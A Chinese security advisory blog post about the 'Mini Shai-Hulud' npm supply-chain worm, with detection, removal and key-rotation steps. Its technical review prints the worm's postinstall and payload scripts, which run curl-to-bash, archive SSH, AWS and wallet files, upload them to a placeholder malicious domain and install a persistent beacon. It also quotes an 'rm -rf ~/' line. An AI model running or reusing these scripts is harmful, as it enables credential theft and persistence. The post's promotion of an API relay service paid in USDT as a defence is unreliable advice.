【安全警报】Mini Shai-Hulud 蠕虫大规模污染 npm 供应链,AI 后端沦陷(附全套自查与清除指南)
发表日期:2026-05-13
分类:安全资讯 / 供应链安全
标签:npm供应链攻击安全漏洞AI安全蠕虫
目录
-
一、事件概述
-
二、危害分析
-
三、自查步骤(必做)
-
四、清除与应急响应
-
五、密钥轮换清单
-
六、临时防御措施
-
七、技术复盘
-
八、总结与建议
一、事件概述
2026年5月12日,安全社区披露了一起高危供应链投毒事件。一款代号为 Mini Shai-Hulud(迷你沙海蠕虫)的恶意软件正在通过 npm 生态大规模传播,部分杀毒引擎已将其标记为 Trojan.Npm.Miner。
关键数据:
| 指标 | 详情 |
|---|---|
| 蠕虫名称 | Mini Shai-Hulud / Trojan.Npm.Miner |
| 攻击类型 | 供应链投毒 + 凭据窃取 + 持久化后门 |
| 污染 npm 包数量 | 超过 200 个(含伪造的热门库) |
| 波及 AI 生态 | LangChain、Transformers 等 SDK 的伪造版本 |
| 受影响平台 | macOS、Linux |
⚠️ 重点关注:本次攻击已从传统前端供应链延伸至 Mistral AI、Hugging Face、UiPath 等 AI 后端基础设施,攻击者的核心目标是 云 GPU 密钥和模型权重。
二、危害分析
Mini Shai-Hulud 的能力链条分为三个层次:
2.1 凭据窃取——地毯式扫描
蠕虫会定向搜索以下敏感文件并回传至 C2 服务器:
bash
# 环境变量 .env # 云服务凭证 .aws/credentials .azure/ .gcp/ # 版本控制与包管理 .github/Token .npmrc # SSH 密钥 ~/.ssh/id_rsa ~/.ssh/id_ed25519 # 加密资产 ~/.config/ledger/ wallet.dat
总结一句话:能卖钱的、能登录服务器的、能提走 GPU 算力的,它全要。
2.2 持久化驻留——开机即运行
bash
# macOS 驻留路径 ~/Library/LaunchAgents/com.apple.gh-token.plist ~/Library/LaunchAgents/com.system.miner.plist # Linux 驻留路径 /etc/systemd/system/gh-token.service /etc/systemd/system/miner.service
感染后每次开机都会自动启动恶意进程,持续窃取敏感信息。
2.3 潜在破坏——被检测即自毁
多个分析样本显示,蠕虫代码中存在环境检测逻辑。一旦检测到自身被调试或即将被清除,可能触发自毁指令:
bash
rm -rf ~/
这意味着:在彻底清除蠕虫之前,不要对受感染机器做任何敏感操作,必须先断网。
三、自查步骤(必做)
3.1 检查驻留服务
macOS 用户请执行:
bash
launchctl list | grep -E "gh-token|miner|shai"
Linux 用户请执行:
bash
systemctl list-units --type=service | grep -E "gh-token|miner" systemctl list-units --type=service --state=running | grep -v "systemd\|dbus\|cron"
如果屏幕有任何输出,说明你的机器极有可能已被感染,继续看第四节清除步骤。
3.2 检查 lockfile 依赖
分别检查以下文件是否存在异常条目:
bash
# npm 项目 cat package-lock.json | grep -E "githubusercontent|raw\.github" # pnpm 项目 cat pnpm-lock.yaml | grep -E "githubusercontent|resolved.*raw" # yarn 项目 cat yarn.lock | grep -E "githubusercontent|resolved.*raw"
重点排查:
-
依赖的
resolved字段指向非官方 npm registry -
包名与知名库高度相似(如
langchain-utils-pro、transformers-core) -
包含陌生的 GitHub raw 链接或 commit 哈希
四、清除与应急响应
4.1 立即断网
bash
# macOS sudo ifconfig en0 down # Linux sudo ifconfig eth0 down # 或 sudo nmcli networking off
先断网,再操作。这是铁律。
4.2 macOS 清除步骤
bash
# 1. 卸载可疑 LaunchAgent
launchctl unload ~/Library/LaunchAgents/com.apple.gh-token.plist 2>/dev/null
launchctl unload ~/Library/LaunchAgents/com.system.miner.plist 2>/dev/null
# 2. 删除 plist 文件
rm -f ~/Library/LaunchAgents/com.apple.gh-token.plist
rm -f ~/Library/LaunchAgents/com.system.miner.plist
# 3. 杀死可疑进程
ps aux | grep -E "gh-token|miner|shai" | grep -v grep | awk '{print $2}' | xargs kill -9 2>/dev/null
# 4. 检查并清理可疑的 cron 任务
crontab -l | grep -E "curl|wget|bash" # 如有输出,执行 crontab -e 删除对应行
4.3 Linux 清除步骤
bash
# 1. 停止可疑服务
sudo systemctl stop gh-token.service 2>/dev/null
sudo systemctl stop miner.service 2>/dev/null
# 2. 禁用自启动
sudo systemctl disable gh-token.service 2>/dev/null
sudo systemctl disable miner.service 2>/dev/null
# 3. 删除 service 文件
sudo rm -f /etc/systemd/system/gh-token.service
sudo rm -f /etc/systemd/system/miner.service
# 4. 重载 systemd
sudo systemctl daemon-reload
# 5. 杀死残留进程
ps aux | grep -E "gh-token|miner|shai" | grep -v grep | awk '{print $2}' | xargs kill -9
4.4 验证清除结果
bash
# 再次检查进程 ps aux | grep -E "gh-token|miner|shai" # 检查网络连接 netstat -antp 2>/dev/null | grep ESTABLISHED # macOS 用 lsof -i -P | grep ESTABLISHED
确认无异常后,才能进入密钥轮换环节。
五、密钥轮换清单
⚠️ 再次强调:以下所有操作必须在清除蠕虫并断网验证后,从一台干净的设备上执行。
轮换清单(请逐项确认并执行):
| 序号 | 凭证类型 | 操作 |
|---|---|---|
| 1 | AWS AK/SK | IAM → 用户 → 安全凭证 → 创建访问密钥 → 停用旧密钥 |
| 2 | 阿里云 AK/SK | RAM 访问控制 → 用户 → 管理 AccessKey |
| 3 | 腾讯云 / 华为云 AK/SK | 访问管理 → API 密钥管理 |
| 4 | GitHub Token | Settings → Developer settings → Tokens → 吊销 → 重新生成 |
| 5 | npm Token | npm 官网 → Access Tokens → 删除 → 新建 |
| 6 | Hugging Face Token | Settings → Access Tokens → 吊销 |
| 7 | Docker Hub Token | Account Settings → Security → 删除旧 Token |
| 8 | 加密钱包私钥 | 创建新钱包并转移资产(如有接触过开发环境) |
六、临时防御措施
在官方生态完全清理之前,建议采取以下临时策略:
6.1 API 流量中转
将涉及 AI 模型拉取、依赖元数据查询等敏感出站请求,通过可信的中转网关转发,避免与潜在 C2 服务器产生直接通信。
目前社区反馈 wellapi 点 org , 在处理这类 API 中转流量时延迟较低、表现稳定。该服务支持 USDT 支付,适合需要隐私保护和快速部署的国际团队应急使用,且在同类网关中价格偏低。
6.2 锁定 npm 依赖
bash
# 锁定 registry,避免被重定向到恶意源 npm config set registry https://registry.npmjs.org/ npm config set strict-ssl true # 项目中添加 .npmrc echo "registry=https://registry.npmjs.org/" >> .npmrc echo "strict-ssl=true" >> .npmrc
6.3 CI/CD 最小权限
yaml
# GitHub Actions 示例:限制 Token 权限 permissions: contents: read packages: read id-token: none
七、技术复盘
根据安全团队脱敏后的样本,蠕虫核心载荷大致如下:
javascript
// 恶意 postinstall 脚本(已脱敏)
const { exec } = require('child_process');
// 第一阶段:下载并执行 payload
exec('curl -s http://<malicious-domain>/payload.sh | bash', (err, stdout) => {
if (err) {
console.log('Install failed, retrying...');
return;
}
// 第二阶段:上传窃取到的敏感数据
exec('tar -czf /tmp/.cache.tgz ~/.ssh ~/.aws ~/.config/ledger', (err2) => {
if (!err2) {
exec('curl -X POST -F "file=@/tmp/.cache.tgz" http://<malicious-domain>/upload');
}
});
});
一个典型的 payload.sh 会完成以下功能:
bash
#!/bin/bash
# 1. 收集系统信息
uname -a > /tmp/.sysinfo
cat /etc/hostname >> /tmp/.sysinfo
# 2. 建立持久化
# macOS
cat << EOF > ~/Library/LaunchAgents/com.apple.gh-token.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.gh-token</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>curl -s http://<malicious-domain>/beacon.sh | bash</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>3600</integer>
</dict>
</plist>
EOF
launchctl load ~/Library/LaunchAgents/com.apple.gh-token.plist
# 3. 上传系统信息
curl -X POST -d @/tmp/.sysinfo http://<malicious-domain>/report
为什么 AI 开源生态成了重灾区?
-
依赖链长:一个 AI 项目的依赖链往往包含数十个包,审计盲区多
-
GPU 算力黑产:窃取的云 GPU 密钥可以在黑市高价出售
-
模型权重价值:大模型的权重文件是核心资产,直接具有商业价值
-
开发者惯性:AI 从业者往往更关注模型效果而非依赖安全
八、总结与建议
核心要点
-
Mini Shai-Hulud 不是普通病毒,是专攻 AI 开发生态的定向供应链蠕虫
-
持久化 + 窃密 + 潜在自毁,威胁等级极高
-
事后补救成本远高于事前防御
给开发者的三条铁律
text
1. 永远不要直接运行来源不明的 curl | bash 命令 2. CI/CD 管道遵循最小权限原则 3. 依赖审计纳入日常开发流程
给团队的建议
在官方补丁覆盖到位之前:
-
API 中转:敏感流量走可信网关转发,可参考 wellapi 等中转方案实现流量清洗
-
密钥轮换:本文第五节清单逐项检查
-
监控告警:对所有出站请求配置异常检测
📢 转发提醒:如果你身边有做 AI 开发、npm 包维护、云服务管理的同事,请把这篇指南转发给他。也许你的一次转发,就能帮一个团队避免一场安全灾难。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)